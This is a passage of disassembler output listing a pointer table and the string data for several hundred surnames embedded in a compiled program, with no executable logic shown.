		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EF28o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EF24o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EF20o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EF1Co
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042EF18o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042EF14o
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042EF10o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042EF0Co
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042EF08o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EF04o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EF00o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EEFCo
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EEF8o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EEF4o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EEF0o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EEECo
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EEE8o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EEE4o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: ___:0042EEE0o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EEDCo
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EED8o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EED4o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EED0o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EECCo
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EEC8o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EEC4o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EEC0o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EEBCo
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EEB8o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EEB4o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EEB0o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EEACo
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EEA8o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EEA4o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EEA0o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EE9Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EE98o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EE94o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EE90o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EE8Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EE88o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EE84o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EE80o
aViens		db 'Viens',0            ; DATA XREF: ___:0042EE7Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EE78o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EE74o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EE70o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: ___:0042EE6Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EE68o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EE64o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EE60o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EE5Co
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EE58o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EE54o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EE50o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EE4Co
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EE48o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EE44o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EE40o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EE3Co
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EE38o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EE34o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EE30o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EE2Co
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EE28o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EE24o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EE20o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EE1Co
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EE18o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EE14o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EE10o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EE0Co
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EE08o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EE04o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EE00o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EDFCo
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042EDF8o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EDF4o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EDF0o
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EDECo
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EDE8o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EDE4o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EDE0o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EDDCo
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EDD8o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EDD4o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EDD0o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EDCCo
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EDC8o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EDC4o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EDC0o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EDBCo
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EDB8o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EDB4o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EDB0o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EDACo
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EDA8o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EDA4o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EDA0o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042ED9Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: ___:0042ED98o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042ED94o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042ED90o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042ED8Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042ED88o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042ED84o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042ED80o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: ___:0042ED7Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042ED78o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042ED74o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042ED70o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042ED6Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042ED68o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042ED64o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042ED60o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042ED5Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042ED58o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042ED54o
aTill		db 'Till',0             ; DATA XREF: ___:0042ED50o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042ED4Co
aThroop		db 'Throop',0           ; DATA XREF: ___:0042ED48o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042ED44o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042ED40o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042ED3Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042ED38o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042ED34o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042ED30o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042ED2Co
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042ED28o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042ED24o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: ___:0042ED20o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042ED1Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042ED18o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042ED14o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042ED10o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042ED0Co
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042ED08o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042ED04o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042ED00o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042ECFCo
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042ECF8o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042ECF4o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042ECF0o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042ECECo
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042ECE8o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042ECE4o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: ___:0042ECE0o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042ECDCo
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042ECD8o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042ECD4o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042ECD0o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042ECCCo
aStrange	db 'Strange',0          ; DATA XREF: ___:0042ECC8o
aStott		db 'Stott',0            ; DATA XREF: ___:0042ECC4o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042ECC0o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042ECBCo
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042ECB8o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042ECB4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042ECB0o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042ECACo
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042ECA8o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042ECA4o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042ECA0o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042EC9Co
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042EC98o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042EC94o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042EC90o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042EC8Co
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042EC88o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042EC84o
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042EC80o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042EC7Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042EC78o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042EC74o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042EC70o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042EC6Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042EC68o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042EC64o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042EC60o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042EC5Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042EC58o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042EC54o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042EC50o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042EC4Co
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042EC48o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042EC44o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042EC40o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042EC3Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042EC38o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042EC34o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042EC30o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042EC2Co
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042EC28o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042EC24o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042EC20o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042EC1Co
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042EC18o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042EC14o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042EC10o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042EC0Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042EC08o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: ___:0042EC04o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042EC00o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042EBFCo
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042EBF8o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042EBF4o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042EBF0o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042EBECo
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042EBE8o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042EBE4o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042EBE0o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042EBDCo
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042EBD8o
aShia		db 'Shia',0             ; DATA XREF: ___:0042EBD4o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042EBD0o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042EBCCo
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042EBC8o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042EBC4o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042EBC0o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042EBBCo
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042EBB8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042EBB4o
aShar		db 'Shar',0             ; DATA XREF: ___:0042EBB0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042EBACo
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042EBA8o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042EBA4o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042EBA0o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042EB9Co
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042EB98o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042EB94o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042EB90o
aSen		db 'Sen',0              ; DATA XREF: ___:0042EB8Co
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042EB88o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042EB84o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042EB80o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042EB7Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042EB78o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042EB74o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042EB70o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042EB6Co
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042EB68o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042EB64o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042EB60o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042EB5Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042EB58o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042EB54o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042EB50o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042EB4Co
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042EB48o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042EB44o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042EB40o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042EB3Co
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042EB38o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042EB34o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042EB30o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042EB2Co
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042EB28o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042EB24o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042EB20o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042EB1Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042EB18o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042EB14o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042EB10o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042EB0Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042EB08o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042EB04o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042EB00o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042EAFCo
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042EAF8o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042EAF4o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042EAF0o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042EAECo
aRush		db 'Rush',0             ; DATA XREF: ___:0042EAE8o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042EAE4o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042EADCo
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042EAD8o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042EAD4o
		align 10h
aRow		db 'Row',0              ; DATA XREF: ___:0042EAD0o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042EACCo
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042EAC8o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042EAC4o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042EAC0o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042EABCo
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042EAB8o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042EAB4o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042EAB0o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042EAACo
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042EAA8o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042EAA4o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042EAA0o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042EA9Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042EA98o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042EA94o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042EA90o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042EA8Co
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042EA88o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042EA84o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042EA80o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042EA7Co
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042EA78o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042EA74o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042EA70o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042EA6Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042EA68o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042EA64o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042EA60o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042EA5Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042EA58o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042EA54o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042EA50o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042EA4Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042EA48o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042EA44o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042EA40o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042EA3Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042EA38o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042EA34o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042EA30o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042EA2Co
aPowers		db 'Powers',0           ; DATA XREF: ___:0042EA28o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042EA24o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042EA20o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042EA1Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042EA18o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042EA14o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042EA10o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042EA0Co
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042EA08o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042EA04o
		align 10h
aPo		db 'Po',0               ; DATA XREF: ___:0042EA00o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E9FCo
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E9F8o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E9F4o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E9F0o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E9ECo
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E9E8o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E9E4o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E9E0o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E9DCo
